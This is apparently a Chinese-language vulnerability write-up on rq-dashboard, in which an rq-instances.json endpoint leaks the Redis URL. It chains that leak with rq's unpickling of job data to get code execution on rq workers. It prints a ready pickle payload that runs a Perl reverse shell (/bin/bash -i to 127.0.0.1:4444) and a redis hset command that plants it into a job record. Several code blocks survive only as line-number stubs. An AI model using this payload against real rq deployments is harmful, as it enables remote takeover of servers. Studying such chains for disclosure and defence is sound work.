查看rq-dashboard源码的时候发现有个rq-instances.json接口,直接返回了REDIS_URL
rq-instances.json泄漏redis url
rq-dashboard 在#issue128 merge了两个接口,rq-instances,rq-instances.json,用于支持多个redis-url切换
https://github.com/GerardSoleCa/rq-dashboard/commit/dfac908b47bdd6ba6a507036c46666af9af09329
1 |
|
其中current_app.config.get(‘REDIS_URL’)保存reids连接地址
配合rq 的反序列化,可以实现rq worker的rce
rq worker反序列化利用
rq 与redis之间使用cPickle/pickle 进行交互
1 | def unpickle(pickled_string): |
Job class 的data会被直接unpickle
1 | def _unpickle_data(self): |
对应在redis job data 字段
1 | # jobs.py |
1 | from redis import Redis,from_url |
1 | s |
'cposix\nsystem\np1\n(S\'perl -e \\\'use Socket;$i="127.0.0.1";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};\\\'\'\np2\ntRp3\n.'
1 | r=redis_conn |
1 | r.hset('rq:job:24c71cf9-0a8f-442b-a58b-49c4ca93b775','data',s) |